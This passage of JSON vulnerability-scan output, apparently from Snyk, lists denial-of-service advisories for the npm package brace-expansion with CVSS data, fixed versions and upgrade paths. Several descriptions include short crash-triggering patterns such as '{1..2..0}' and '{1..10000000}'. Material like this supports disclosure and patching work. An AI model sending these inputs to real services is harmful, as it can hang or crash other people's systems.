8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": 